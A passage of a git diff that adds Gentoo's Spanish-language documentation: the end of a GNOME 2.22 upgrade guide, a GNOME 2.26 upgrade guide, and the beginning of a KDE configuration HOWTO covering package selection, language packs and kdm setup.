+reproducción de <c>totem</c> ha sido separado y se encuentra en
+<c>dev-libs/totem-pl-parser</c>, de forma que <c>rhythmbox</c> pueda
+depender de este paquete en vez de en la totalidad de <c>totem</c>.
+</p>
+
+<p>
+Esto resulta en algunos bloqueos entre los paquetes para evitar
+colisiones en los archivos. Para resolver esto, siga las instrucciones
+apropiadas en el <uri
+link="http://www.gentoo.org/doc/es/handbook/handbook-x86.xml?full=1#blocked">manual</uri>
+de la manera usual, particularmente desinstalando el paquete que crea
+el conflicto y continuando normalmente, instalando el paquete de nuevo
+por medio del meta-paquete u otra parte de gnome en la que dependa.
+</p>
+</body>
+</section>
+
+<section>
+<title>Gnome ya no está disponible como una sesión en el GDM</title>
+<body>
+
+<p>
+El gestor GDM usa los archivos disponibles en <path>/usr/share/xsessions/*</path> para determinar cuales entornos de escritorio tiene instalado el usuario para poder ofrecerlos en el menú "Sesiones".
+</p>
+
+<p>
+El archivo apropiado de Gnome es ahora proporcionado por
+<c>gnome-base/gnome-session-2.22</c> en vez de <c>gnome-base/gdm</c> y
+debido a esto hay un bloqueo apropiado para evitar una colisión de
+archivos que haría que se perdiera este archivo.
+</p>
+
+<p>
+Lo único que podría salir equivocado acá es que <c>gnome-session</c>
+no se actualice a 2.22 después de ser desinstalado al resolver el
+bloqueo al actualizar el gestor GDM.  El síntoma sería la falta de la
+opción Gnome en el menú de de "Sesiones" de GDM, en cuyo caso, por
+favor revise que haya instalado <c>gnome-session-2.22.0</c> o una
+versión más actual.
+</p>
+
+<p>
+Note que este problema no puede ocurrir a los usuarios del
+meta-paquete <c>gnome-base/gnome</c> ya que el paquete apropiado
+<c>gnome-session</c> será instalado de nuevo.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.26-upgrade.xml b/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.26-upgrade.xml
new file mode 100644
index 00000000..0e11c559
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.26-upgrade.xml
@@ -0,0 +1,155 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/gnome/howtos/gnome-2.26-upgrade.xml,v 1.3 2009/10/28 23:26:50 chiguire Exp $ -->
+
+<guide link="/proj/en/desktop/gnome/howtos/gnome-2.26-upgrade.xml" lang="es">
+<title>Guía de Actualización a Gnome 2.26</title>
+
+<author title="Autor">
+  <mail link="eva"/>
+</author>
+<author title="Autor">
+  <mail link="chiguire"/>
+</author>
+
+<abstract>
+Esta guía cubre la actualización de Gnome 2.24.x a Gnome 2.26.x.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.1</version>
+<date>2009-09-29</date>
+
+<chapter>
+<title>Cambios</title>
+<section>
+<title>Manejo de sesiones</title>
+<body>
+
+<p>
+Debido a un replanteamiento a gran escala de
+<c>gnome-base/gnome-session</c>, las sesiones grabadas probablemente
+se perderán dado el cambio en el formato.
+</p>
+</body>
+</section>
+
+<section>
+<title>Grabación de discos ópticos con Brasero</title>
+<body>
+
+<p>
+Comenzando con Gnome 2.26, Brasero (<c>app-cdr/brasero</c>) es la
+herramienta oficial para grabar medios ópticos. Reemplaza
+completamente a la herramienta de quemado de nautilus
+(<c>gnome-extra/nautilus-cd-burner</c>) por medio de una extensión de
+nautilus que se comporta de la misma manera como lo hacía el grabador
+de nautilus. Adicionalmente, proporciona su propio interfaz para
+tareas más complejas.
+</p>
+
+<p>
+Si está contento con Brasero luego de completar la actualización de
+Gnome, considere desinstalar <c>gnome-extra/nautilus-cd-burner</c>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Integración de Pulseaudio</title>
+<body>
+
+<p>
+Gnome 2.26 ahora ofrece una integración completa con pulseaudio. Por
+favor, note que con algun hardware, la activación del parámetro USE
+pulseaudio significa que deberá activar este soporte en otras
+aplicaciones que requieran la salida de sonido (por ejemplo,
+mplayer). Tal vez desee referirse a la <uri
+link="http://www.pulseaudio.org/wiki/PerfectSetup">documentación
+oficial de pulseaudio</uri> para su configuración.
+</p>
+</body>
+</section>
+
+<section>
+<title>Cambios de API de gnome-desktop</title>
+<body>
+
+<p>
+Dada la <uri link="http://live.gnome.org/GnomeGoals">meta Gnome</uri>
+de deshacerse de librerías caducadas, gnome-desktop volvió a cambiar
+su API. No debería romperse nada al actualizar, pero no deje de
+ejecutar <c>revdep-rebuild</c> o <c>emerge @preserved-rebuild</c> al
+finalizar el proceso de actualización y revisar que la librería vieja
+ya no esté.
+</p>
+</body>
+</section>
+
+<section>
+<title>Colisiones de archivos de Gnome y KDE</title>
+<body>
+
+<p>
+Debido a colisiones de archivos entre los menúes de Gnome y KDE, se
+cambió <c>gnome-base/gnome-menus</c> para que usara una ubicación
+prefijada para su menu. Esto significa que los menúes podrían
+desaparecer durante la actualización. Para obtenerlos de vuelta,
+aegúrese de instalar <c>>=gnome-base/gnome-session-2.26.2</c> y
+<c>>=gnome-base/gnome-menus-2.26.2</c>.
+</p>
+
+<p>
+Si está usando un gestor de ingreso y pierde el menú, por favor
+seleccione Gnome de nuevo como sesión al hacer login. Si inicia gnome
+manualmente y tenga un archivo .xinitrc personalizado, por favor
+exporte la variable de entorno XDG_MENU_PREFIX=gnome- para obtener el
+menú otra vez. Si inicia Gnome manualmente sin .xinitrc, solo exporte
+XSESSION=Gnome. Vea el <uri link="http://bugs.gentoo.org/256614">bug
+#256614</uri> y el <uri link="http://bugs.gentoo.org/279555">bug
+#279555</uri> para más detalles.
+</p>
+</body>
+</section>
+
+<section>
+<title>Otros cambios</title>
+<body>
+
+<p>
+Por favor vea las <uri
+link="http://library.gnome.org/misc/release-notes/2.26/index.html.es">Notas
+de Lanzamiento de Gnome 2.26</uri> para ver que más hay de nuevo en
+este importante lanzamiento de Gnome.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Known Issues</title>
+<section>
+<title>Reinicio constante de Nautilus</title>
+<body>
+
+<p>
+Con el replanteamiento de gnome-session, <c>gnome-base/nautilus</c> es
+considerado una parte básica del escritorio Gnome. Sin embargo, si se
+configura nautilus para que no maneje el escritorio, resulta en que
+<c>gnome-base/gnome-session</c> inicia de manera repetido instancias
+múltiples de nautilus al hacer login.
+</p>
+
+<p>
+Actualmente, la única manera que esto no ocurra es <b>no</b>
+configurar nautilus de esta manera. Vea el <uri
+link="http://bugs.gentoo.org/266398">bug #266398</uri> para constatar
+el estado actual de este asunto.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/kde/kde-config.xml b/xml/htdocs/proj/es/desktop/kde/kde-config.xml
new file mode 100644
index 00000000..40e2dcf1
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/kde/kde-config.xml
@@ -0,0 +1,936 @@
+<?xml version='1.0' encoding='UTF-8'?>
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/kde/kde-config.xml,v 1.1 2008/04/30 01:52:35 chiguire Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/doc/es/kde-config.xml" lang="es">
+
+<title>EL COMO (HOWTO) de Configuración de KDE</title>
+
+<author title="Autor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Editor">
+  <mail link="greg_g@gentoo.org">Gregorio Guidi</mail>
+</author>
+<author title="Traductor">
+   <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+<author title="Traductor">
+  <mail link="ervin@activalink.net">Ervin Sarkisov</mail>
+</author>
+<author title="Traductor">
+  <mail link="xilokawa@gmail.com">Xilokawa</mail>
+</author>
+<author title="Traductor">
+  <mail link="anpereir@gentoo.org">Andrés Pereira</mail>
+</author>
+
+<abstract>
+KDE es uno de los entornos de escritorio más utilizados. Esta guía
+intenta describir todos los aspectos de KDE, incluyendo la
+instalación, configuración y uso.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.22</version>
+<date>2007-06-23</date>
+
+<chapter>
+<title>¿Qué es el Entorno de Escritorio K (KDE)?</title>
+<section>
+<title>El proyecto</title>
+<body>
+
+<p>
+El <uri link="http://www.kde.org">Proyecto KDE</uri> es un proyecto de
+software libre y código abierto dedicado al desarrollo de KDE - un
+entorno gráfico de escritorio para sistemas operativos GNU/Linux y
+Unix. El desarrollo es llevado a cabo por varias centenas de
+ingenieros de software y programadores de todo el mundo comprometidos
+con el desarrollo de software libre. Véase también <uri
+link="http://www.kde.org/whatiskde/project.php"> ¿Qué es el Proyecto
+KDE?</uri> (en inglés).
+</p>
+</body>
+</section>
+
+<section>
+<title>El software</title>
+<body>
+
+<p>
+El "K Desktop Environment" es un entorno fácil de utilizar, construido
+sobre una infraestructura sólida y bien pensada que ofrece
+interoperabilidad entre aplicaciones, funciones de arrastrar y soltar,
+etc. Aparte de los componentes esenciales del entorno, KDE también
+proporciona soluciones listas para ser usadas en una multitud de
+tareas: gestión de ficheros, navegación en Internet, aplicaciones
+ofimáticas, gestión de correo electrónico, etc. Todas las necesidades
+están cubiertas por el proyecto KDE.
+</p>
+
+<p>
+El entorno KDE está disponible en más de 70 idiomas y se utiliza por
+un número inmenso de usuarios. Para los que les interese, hay un gran
+número de <uri
+link="http://www.kde.org/screenshots/">pantallazos</uri> publicados.
+Para más información acerca de KDE, lea el artículo <uri
+link="http://www.kde.org/whatiskde/">¿Qué es KDE?</uri> (en inglés)
+publicado en <uri link="http://www.kde.org">KDE.org</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>La comunidad</title>
+<body>
+
+<p>
+Existen muchas comunidades de usuarios de KDE. En <uri
+link="http://www.kdenews.org">KDEnews.org</uri> (en inglés) encontrará
+las noticias más recientes acerca de KDE en general. El público
+objetivo de <uri
+link="http://www.kdedevelopers.org">KDEdevelopers.org</uri> es la
+comunidad de desarrollo KDE, mientras que el <uri
+link="http://www.kde-forum.org">Foro KDE</uri> es para el público
+general. Más enlaces pueden ser encontrados en la <uri
+link="http://www.kde.org/family/">Página de Familia KDE</uri>.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instalar KDE</title>
+<section>
+<title>¿Qué necesita?</title>
+<body>
+
+<p>
+Si está interesado en instalar KDE (o soporte para KDE), debe
+asegurarse que su variable USE contenga las palabras clave <c>kde</c>
+o sino escoger entre <c>qt3</c> o <c>qt4</c> (o ambas). Qt es la
+librería de widgets que usa KDE y <c>qt3</c> es para la versión 3.x,
+mientras que <c>qt4</c> construirá el soporte para la versión 4.x de
+la librería, que es la más reciente. Ninguna de estos parámetros USE
+es necesario para instalar KDE. Sin embargo, existen algunos paquetes
+que ofrecen escoger entre las librerías <c>qt3</c> o <c>qt4</c>.
+</p>
+
+<p>
+También debería agregar ahora <c>hal</c> a su variable USE si quiere
+añadir soporte para el montaje automático de dispositivos tal como se
+explica más abajo en <uri link="#kde_device_mounting">Configurar KDE
+para montar dispositivos</uri>.
+</p>
+
+<p>
+Si no quiere usar <uri link="http://www.arts-project.org/">aRts</uri> para lo
+relacionado a multimedia, desactive el parámetro <c>arts</c> en su variable
+USE (está activado por omisión).
+</p>
+
+<note>
+Con el lanzamiento de Gentoo 2006.1 se han introducido varios nuevos
+perfiles, incluyendo el subperfil para escritorios <c>desktop</c>. Tal
+vez quiera cambiar a este subperfil, si existe para su arquitectura,
+ya que contiene un número de cambios a los parámetros USE por
+defecto. Por favor lea la <uri
+link="/doc/es/gentoo-upgrading.xml">Guía de Actualización Gentoo</uri>
+para aprender cómo cambiar de perfil.
+</note>
+</body>
+</section>
+
+<section>
+<title>Instalar KDE como paquetes por separados</title>
+<body>
+
+<note>
+Recomendamos el uso de los paquetes individuales para instalar KDE (en
+vez de los paquete monolíticos, aunque se presentarán ambos métodos),
+tal como se presenta más adelante.
+</note>
+
+<p>
+Si desea más control sobre cuáles partes de KDE desea instalar, tiene
+la posibilidad de instalar solo las aplicaciones KDE individuales que
+necesita. Para obtener más conocimiento respecto a los ebuilds para
+los programas individuales de KDE, consulte el documento <uri
+link="/doc/es/kde-split-ebuilds.xml">COMO de los Ebuilds separados de
+KDE</uri>.
+</p>
+
+<p>
+El saber que instalar y que no, es un poco más difícil cuando se
+trabaja con los ebuilds separados. Sin embargo, Gentoo provee algunos
+meta-paquetes que instalarán una cierta cantidad de paquetes:
+</p>
+
+<ul>
+  <li>
+    Si desea una instalación completa de KDE, instale <c>kde-meta</c>.
+    Este paquete instalará todas las aplicaciones KDE como
+    dependencias.
+  </li>
+  <li>
+    Si prefiere una instalación básica KDE, instale
+    <c>kdebase-startkde</c>. Siempre podrá instalar más aplicaciones
+    KDE cuando lo desee.
+  </li>
+  <li>
+    Si desea algo entre los extremos <c>kde-meta</c> y
+    <c>kdebase-startkde</c>, instale <c>kdebase-meta</c>, el cual
+    instalará algunas aplicaciones adicionales, tales como
+    <c>konsole</c> y <c>kdm</c>.
+  </li>
+</ul>
+
+<p>
+Estas tres posibilidades son los límites extremos; probablemente
+estará interesado en una combinación segura de los dos :) Para
+facilitar el proceso de decisión la siguiente tabla nos muestra un
+resumen útil, aunque algo incompleto, de algunos de los paquetes
+disponibles para KDE.
+</p>
+
+<p>
+Estos paquetes <e>no</e> forman parte de la instalación
+<c>kdebase-startkde</c>.
+</p>
+
+<table>
+<tr>
+  <th>Ebuild</th>
+  <th>Descripción</th>
+</tr>
+<tr>
+  <ti><c>akregator</c></ti>
+  <ti>
+    Una aplicación para fácilmente manejar y navegar fuentes RSS en internet.
+  </ti>
+</tr>
+<tr>
+  <ti><c>juk</c></ti>
+  <ti>
+    Un reproductor con listas con una cierta semejanza y
+    comportamiento al iTunes de Apple.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kate</c></ti>
+  <ti>
+    El <uri link="http://kate.kde.org/">Editor Avanzado de Texto
+    KDE</uri>, es un editor de texto multi-documento con coloreado por
+    sintáxis, posibilidad de esconder secciones de código y mucho más.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kmail</c></ti>
+  <ti>
+    Organice sus correos electrónicos eficientemente con <uri
+    link="http://kmail.kde.org/">KMail</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti><c>knetattach</c></ti>
+  <ti>
+    Con KNetAttach (también conocido como <e>Genio de Carpetas de
+    Red</e>), puede adicionalmente agregar carpetas de red al
+    escritorio KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>knode</c></ti>
+  <ti>
+    KNode es un poderoso lector de noticias.
+  </ti>
+</tr>
+<tr>
+  <ti><c>konsole</c></ti>
+  <ti>
+    <uri link="http://konsole.kde.org/">Konsole</uri> es el emulador
+    de terminales (consolas) de KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kontact</c></ti>
+  <ti>
+    <uri link="http://kontact.kde.org/">Kontact</uri> es el manejador
+    de información personal de KDE, que ayuda a manejar con facilidad
+    sus comunicaciones, a organizar el trabajo más rápidamente y
+    trabajar de manera más unida.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kopete</c></ti>
+  <ti>
+    <uri link="http://kopete.kde.org/index.php">Kopete</uri> es el
+    cliente chat de KDE, que soporta todos los protocolos conocidos de
+    mensajes instantáneos.
+  </ti>
+</tr>
+<tr>
+  <ti><c>korganizer</c></ti>
+  <ti>
+    <uri link="http://korganizer.kde.org/">Korganizer</uri> es la
+    aplicación para manejar calendarios y citas de KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kpdf</c></ti>
+  <ti>
+    Con <uri link="http://kpdf.kde.org/">KPDF</uri> podrá visualizar y
+    trabajar con archivos PDF. Tiene características únicas que
+    aumentarán enormemente el placer de visualización.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kscd</c></ti>
+  <ti>
+    kscd es un reproductor gráfico de discos compactos para KDE.
+  </ti>
+</tr>
+<tr>
+  <ti><c>ksnapshot</c></ti>
+  <ti>
+    Con ksnapshot puede crear imágenes de pantalla desde el
+    escritorio.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kuickshow</c></ti>
+  <ti>
+    La aplicación KDE puede visualizar una gran variedad de formatos
+    de imagen en pantalla.
+  </ti>
+</tr>
+</table>
+
+<p>
+Esta es sola la punta del iceberg. Si desea saber más acerca de todas
+las posibles aplicaciones KDE, échele una mirada a la <uri
+link="http://packages.gentoo.org/category/kde-base?full_cat">categoría
+kde-base</uri>. Sus funciones están disponibles en la descripción.
+</p>
+
+<p>
+Para ver qué aplicaciones instalará emerge, use <c>emerge -p</c> junto
+con <c>less</c>, de manera que no se le pierdan de la pantalla y pueda
+ver todos los paquetes.
+</p>
+
+<pre caption="Visualizando la instalación de kde">
+<comment>(Sustituya con los paquetes escogidos)</comment>
+# <i>emerge -p kdebase-startkde | less</i>
+</pre>
+
+<p>
+Si está satisfecho con el resultado propuesto, vuelva a ejecutar el
+comando sin el <c>-p</c>. El proceso de construcción tomará algún
+tiempo, ya que KDE es un entorno gráfico grande. No se sorprenda si el
+sistema no se construye inmediatamente.
+</p>
+</body>
+</section>
+
+<section>
+<title>Instalación de KDE con paquetes monolíticos</title>
+<body>
+
+<p>
+Aunque la instalación de KDE con paquetes por separado es la manera
+recomendada de instalación de KDE, existe también la opción de
+instalarlo con los ebuilds monolíticos.
+</p>
+
+<p>
+El proyecto KDE realiza lanzamientos de versiones nuevas de su entorno
+de escritorio como un conjunto de 16 paquetes grandes, cada uno
+contentivo de una gran cantidad de aplicaciones (de allí el origen del
+término "monolítico"), de manera que puede decidir cual de estos
+paquetes desea instalar.
+</p>
+
+<p>
+Si desea saber como será instalar todos estos paquetes, revisemos:
+</p>
+
+<pre caption="Listando todos los paquetes que serían instalados por KDE">
+# <i>emerge --pretend kde | less</i>
+</pre>
+
+<p>
+Si no está interesado en instalar todos esos paquetes, puede hacer
+emerge de manera individual. Definitivamente va a necesitar el paquete
+<c>kdebase</c>, ya que contiene los paquetes básicos y las
+dependencias requeridas. La siguiente tabla lista los demás paquetes
+disponibles que se pueden instalar.
+</p>
+
+<table>
+<tr>
+  <th>Paquete</th>
+  <th>Descripción</th>
+</tr>
+<tr>
+  <ti>kdeaccessibility</ti>
+  <ti>
+    Programas relacionados con Accesibilidad, gestionados por el <uri
+    link="http://accessibility.kde.org">Proyecto de Accesibilidad de
+    KDE</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>kdeadmin</ti>
+  <ti>
+    Herramientas de Administración KDE, por ejemplo, <c>KCron</c>
+    (Planificación de tareas), <c>KUser</c> (Gestión de Usuarios) y
+    <c>KDat</c> (Gestión de Copias de Seguridad)
+  </ti>
+</tr>
+<tr>
+  <ti>kdeartwork</ti>
+  <ti>
+    Diferentes utilidades relacionadas con el arte, por ejemplo:
+    protectores de pantallas, temas de escritorio. Véase también <uri
+    link="http://www.kde-artists.org/">www.kde-artists.org</uri> para
+    más información.
+  </ti>
+</tr>
+<tr>
+  <ti>kdeedu</ti>
+  <ti>
+    Paquetes de aplicaciones educativas KDE diseñadas para niños y
+    jóvenes de 3 hasta 18 años. Véase también el <uri
+    link="http://edu.kde.org">Proyecto KDE Edu</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdegames</ti>
+  <ti>
+    Incluye algunos juegos desarrollados para KDE. Puede encontrar más
+    información en la siguiente página de <uri
+    link="http://games.kde.org">Centro de Juegos KDE</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdegraphics</ti>
+  <ti>
+    Herramientas gráficas para KDE, incluyendo <c>KSnapshot</c> (para
+    sacar capturas de pantallas), <c>KolourPaint</c> (editor gráfico
+    sencillo), <c>Kpdf</c> (visualizador de ficheros PDF),
+    <c>KIconEdit</c> (editor de iconos) y <c>KPovModeler</c> (un
+    modelador 3D).
+  </ti>
+</tr>
+<tr>
+  <ti>kdemultimedia</ti>
+  <ti>
+    Aplicaciones multimedia que proporcionan soporte para reproducción
+    de CDs, MP3s, DVDs y otras aplicaciones de sonido y video. Para
+    más información véase la web del <uri
+    link="http://multimedia.kde.org">Proyecto KDE Multimedia</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdenetwork</ti>
+  <ti>
+    Aplicaciones relacionadas con la conectividad y redes como por
+    ejemplo <c>Kopete</c> (Mensajería Instantánea Multi-Protocolo),
+    <c>kppp</c> (Marcado) y <c>KSirc</c> (Cliente IRC). ¡Tenga en
+    cuenta que <c>konqueror</c> (Gestor de Ficheros <e>y</e>
+    Navegador) es parte del paquete <c>kdebase</c>!
+  </ti>
+</tr>
+<tr>
+  <ti>kdepim</ti>
+  <ti>
+    Herramientas de Gestión de Información Personal (PIM) que incluyen
+    aplicaciones como <c>KOrganizer</c> (Agenda), <c>KAddressbook</c>
+    (Libreta de direcciones), <c>Kontact</c> (Groupware) y
+    <c>KMail</c> (Gestor de correo electrónico). Para más información
+    véase la página del <uri link="http://pim.kde.org">Proyecto KDE
+    PIM</uri>.
+  </ti>
+</tr>
+<tr>
+  <ti>kdesdk</ti>
+  <ti>
+    Herramientas de desarrollo de código, que incluyen <c>KBabel</c>
+    (Herramienta de Traducción), <c>KBugBuster</c> (Utilidad para
+    informar de errores en KDE) y <c>Kompare</c> (Interfaz gráfica
+    para ver diferencias entre ficheros).
+  </ti>
+</tr>
+<tr>
+  <ti>kdetoys</ti>
+  <ti>
+    Algunos juguetes para entretenerse mientras está esperando la
+    entrega de su pizza. El paquete incluye entre otras aplicaciones
+    los siguientes applets <c>eyesapplet</c> y <c>fifteenapplet</c>,
+    además están disponibles curiosos programitas como <c>amor</c> que
+    no hacen nada más aparte de consumir recursos :)
+  </ti>
+</tr>
+<tr>
+  <ti>kdeutils</ti>
+  <ti>
+    Interfaces gráficas de herramientas <c>kcalc</c> (Calculadora),
+    <c>kdessh</c> (Terminal SSH), <c>kfloppy</c> (Tareas relacionadas
+    con diskettes), etc.
+  </ti>
+</tr>
+<tr>
+  <ti>kde-i18n</ti>
+  <ti>
+    Ficheros de internacionalización de KDE. Incluye documentación
+    traducida. Véase para más información la página del <uri
+    link="http://i18n.kde.org">Proyecto KDE i18n</uri>.
+  </ti>
+</tr>
+</table>
+
+<p>
+Para instalar KDE con el soporte de red y aplicaciones administrativas
+solo ejecutamos:
+</p>
+
+<pre caption="Ejemplo de instalación de componentes individuales de KDE">
+# <i>emerge kdebase kdenetwork kdeadmin</i>
+</pre>
+
+<p>
+Por si le interesa, la compilación de KDE se tardará un poco.
+</p>
+</body>
+</section>
+
+<section>
+<title>Aplicaciones externas a KDE</title>
+<body>
+
+<p>
+El número de aplicaciones de KDE no está limitado a aquellas que
+vienen con las versiones oficiales de KDE, sino que incluyen cientos
+de otras aplicaciones que usan el framework y bibliotecas de KDE. Aquí
+listamos algunas de las más populares.
+</p>
+
+<table>
+<tr>
+  <th>Nombre del ebuild</th>
+  <th>Descripción</th>
+</tr>
+<tr>
+  <ti><c>koffice</c></ti>
+  <ti>
+    <uri link="http://www.koffice.org/">KOffice</uri> en la completa
+    suite ofimática de KDE, con aplicaciones para procesamiento de
+    texto (KWord), hojas de cálculo (KSpread), presentaciones
+    (KPresenter), manipulación de imágenes (Krita), gestión de base de
+    datos (Kexi) y mucho más.  Así como KDE puede ser instalado
+    mediante los ebuilds <c>kde</c> o <c>kde-meta</c>, KOffice por su
+    parte se instala como un paquete completo (<c>koffice</c>) o como
+    un conjunto de paquetes individuales (<c>koffice-meta</c>).
+  </ti>
+</tr>
+<tr>
+  <ti><c>amarok</c></ti>
+  <ti>
+    Con <uri link="http://amarok.kde.org/">amaroK</uri> tiene un
+    poderoso reproductor de música para Unix/Linux.
+  </ti>
+</tr>
+<tr>
+  <ti><c>k3b</c></ti>
+  <ti>
+    <uri link="http://www.k3b.org/">K3B</uri> es una completa
+    herramienta para quemar CD/DVD con soporte de audio. Quemar CDs
+    nunca fue tan fácil.
+  </ti>
+</tr>
+<tr>
+  <ti><c>kaffeine</c></ti>
+  <ti>
+    <uri link="http://kaffeine.sourceforge.net/">Kaffeine</uri> es un
+    completo reproductor multimedia para KDE.
+  </ti>
+</tr>
+</table>
+</body>
+</section>
+
+<section>
+<title>Primeras impresiones</title>
+<body>
+
+<p>
+Ahora echemos un vistazo al resultado de nuestros esfuerzos. Le habrán
+dicho muchas veces que nunca debe trabajar como root. Aceptaremos este
+consejo y probaremos KDE como un usuario normal. Acceda al sistema con
+sus credenciales de usuario y configure la sesión para que arranque
+KDE al emitir el comando <c>startx</c>. Puede hacerlo añadiendo
+<c>exec startkde</c> al fichero <path>~/.xinitrc</path> (vea también
+<uri link="/doc/es/xorg-config.xml#using_startx">Usando startx</uri>
+en la <uri link="/doc/es/xorg-config.xml">Guía de configuración del
+Servidor X</uri>):
+</p>
+
+<pre caption="Configuración de la sesión local">
+$ <i>echo "exec startkde" &gt; ~/.xinitrc</i>
+</pre>
+
+<p>
+Ahora inicie su sesión en el entorno gráfico ejecutando <c>startx</c>.
+</p>
+
+<pre caption="Iniciar KDE">
+$ <i>startx</i>
+</pre>
+
+<p>
+Al iniciar <c>KPersonalizer</c> le dará la bienvenida al entorno
+gráfico.  Felicidades, veamos ahora cómo podemos configurar KDE ...
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurar KDE</title>
+<section>
+<title>KPersonalizer</title>
+<body>
+
+<p>
+KPersonalizer es el programa que le configura KDE. Es un asistente muy
+útil que le permite rápidamente modificar el comportamiento de KDE
+para ajustarse mejor a sus necesidades. Cuando inicie la sesión por
+primera vez, KPersonalizer arrancará de forma automática.
+</p>
+
+<p>
+La primera entrada de datos que le solicita KPersonalizer es saber
+cuál es su país y el idioma que desea utilizar. Ya que no hemos
+instalado todavía ningún paquete de internacionalización al sistema,
+el único idioma disponible es el Inglés. No se preocupe, pronto lo
+cambiaremos (si fuera necesario, por supuesto).
+</p>
+
+<p>
+La segunda decisión que debe tomar es acerca del <e>Comportamiento del
+Sistema</e>; esto incluye el modus operandi de ventanas, configuración
+del ratón, etc. Cuando selecciona un comportamiento específico su
+descripción aparece en la parte inferior para ayudarle a tomar la
+decisión sobre el modo de funcionamiento que le gusta más. Si no está
+seguro, no se preocupe, podrá cambiar esta configuración cuando lo
+desee.
+</p>
+
+<p>
+En el siguiente paso KPersonalizer solicita saber la cantidad de
+efectos gráficos que debe habilitar para su sistema. Cuanto más
+efectos tenga habilitados, más entretenida será su sesión KDE,
+respectivamente su CPU cargará con ello. Sin embargo, le hacemos notar
+que en una máquina con CPU de 600 MHz y 128 MB de RAM con todos los
+efectos gráficios habilitados el sistema proporciona un tiempo de
+respuesta razonable.
+</p>
+
+<p>
+Finalmente KDE le pregunta sobre el estilo que debe usar. Los estilos
+definen la decoración de ventanas, temas de escritorio, tipos de
+botones, y etc.  Pruebe diferentes estilos para averiguar cuál le
+agrada más. Hemos dicho ya que KDE es totalmente configurable,
+¿verdad?
+</p>
+
+<p>
+Y ahora, relájese y disfrute - KDE arrancará y le dará la bienvenida a
+un entorno gráfico de escritorio limpio y funcional.
+</p>
+</body>
+</section>
+
+<section>
+<title>Instalación de Paquetes de Idiomas</title>
+<body>
+
+<p>
+Si el inglés no es su idioma nativo o está interesado en trabajar con
+KDE en otro idioma, continúe leyendo. Instalaremos paquetes de
+internacionalización correspondientes a el(los) idioma(s) de su
+elección.
+</p>
+
+<p>
+El paquete de internacionalización <c>kde-i18n</c> contiene ficheros
+de idiomas.  Para instalar el idioma que desea, debe ajustar la
+variable <c>LINGUAS</c> con el valor del idioma o idiomas que desea
+utilizar. Es recomendable definir esta variable en el fichero
+<path>/etc/make.conf</path> para asegurarse que su sistema no elimine
+los packs de idiomas de su selección durante el proceso de
+actualización.
+</p>
+
+<pre caption="Definición de la variable LINGUAS en /etc/make.conf">
+# <i>nano -w /etc/make.conf</i>
+<comment>(Como ejemplo instalaremos el idioma holandés (nl)
+y el francés (fr))</comment>
+LINGUAS="nl fr"
+</pre>
+
+<p>
+Ya puede ejecutar <c>emerge kde-i18n</c> para instalar los packs de
+idiomas.  Una vez finalizada la instalación, cuando inicie KDE debe
+ejecutar el KDE Control Center (K-menu &gt; Control
+Center). <e>Esa</e> es la aplicación que le permite controlar casi
+cualquier aspecto de KDE. Este programa contiene más funcionalidades
+que el KPersonalizer.
+</p>
+
+<p>
+Para cambiar el idioma, debe acceder a las opciones todavía en inglés
+<c>Regional &amp; Accessibility</c>, <c>Country/Region &amp;
+Languages</c> y entonces añadir los idiomas que desea. Para ver su KDE
+(internacionalizado) y en toda su gloria, debe salir y volver a entrar
+en el sistema.
+</p>
+</body>
+</section>
+
+<section>
+<title>Acceso gráfico</title>
+<body>
+
+<p>
+Si desea utilizar <c>kdm</c> como gestor de acceso gráfico (significa
+que no necesitará identificarse en el terminal y ejecutar
+<c>startx</c> cada vez que desee iniciar una sesión gráfica) debe
+primero hacer emerge, luego editar un fichero de configuración para
+que el sistema entre en modo gráfico luego de arrancar, tal como se
+explica a continuación.
+</p>
+
+<note>
+Es posible que ya tenga instalado <c>kdm</c> por varias razones. Si
+obtiene un mensaje de error con paquetes bloqueando a
+<c>kde-base/kdm</c>, proceda con la siguiente sección.
+</note>
+
+<pre caption="Instalando kdm">
+# <i>emerge --ask kdm</i>
+</pre>
+
+<p>
+En el fichero <path>/etc/conf.d/xdm</path>, cambie la variable de
+entorno <c>DISPLAYMANAGER</c> a <c>kdm</c>.
+</p>
+
+<pre caption="Ajustar el DISPLAYMANAGER en /etc/conf.f/xdm">
+# <i>nano -w /etc/conf.d/xdm</i>
+<comment>(Modifique la siguiente variable)</comment>
